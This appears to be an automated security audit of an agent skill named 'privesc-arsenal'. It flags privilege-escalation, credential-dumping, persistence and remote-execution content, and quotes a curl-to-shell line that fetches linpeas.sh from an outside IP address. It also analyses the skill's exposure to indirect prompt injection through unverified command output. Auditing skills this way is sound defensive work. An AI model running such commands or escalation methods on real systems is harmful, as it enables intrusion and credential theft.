The Agent Skills Directory

[REMOTE_CODE_EXECUTION]: The skill instructs the user or agent to download and execute shell scripts directly from a remote, untrusted IP address via a pipe to a shell.
Evidence: curl 10.10.14.5:8000/linpeas.sh | sh.
Evidence: Commands for downloading and executing various binaries (e.g., winPEASx64.exe, GodPotato) from external sources.
[COMMAND_EXECUTION]: Extensive list of instructions for executing arbitrary system commands to manipulate services and system state.
Evidence: Reconfiguring service binary paths (sc config binPath=) to execute custom payloads.
Evidence: Use of os.system in capability exploitation templates.
[PRIVILEGE_ESCALATION]: The skill's primary function is to provide detailed methods for escalating privileges to root or SYSTEM.
Evidence: Comprehensive guides for SUID/SGID abuse, Linux Capability exploitation, and Windows Token Impersonation.
Evidence: References to kernel exploits such as DirtyPipe and PwnKit.
[DATA_EXFILTRATION]: Provides instructions for accessing and harvesting sensitive system files and credentials.
Evidence: Directives to save and extract the SAM and SYSTEM registry hives for hash dumping.
Evidence: Instructions for searching the file system for cleartext passwords and sensitive configuration files.
[PERSISTENCE]: Includes methods for maintaining long-term access on a target machine.
Evidence: Instructions to modify systemd units, cron jobs, and Windows Autoruns.
[DYNAMIC_EXECUTION]: Details techniques for compiling and injecting code at runtime.
Evidence: Compiling shared object files for use with LD_PRELOAD to achieve privilege escalation.
[INDIRECT_PROMPT_INJECTION]: The skill is vulnerable to indirect prompt injection as it processes unverified output from system commands.
Ingestion points: Output from reconnaissance commands like sudo -l and whoami /priv.
Boundary markers: None present to distinguish data from instructions.
Capability inventory: The skill has access to network tools, file modification, and shell execution.
Sanitization: No sanitization is performed on target system data before processing.

privesc-arsenal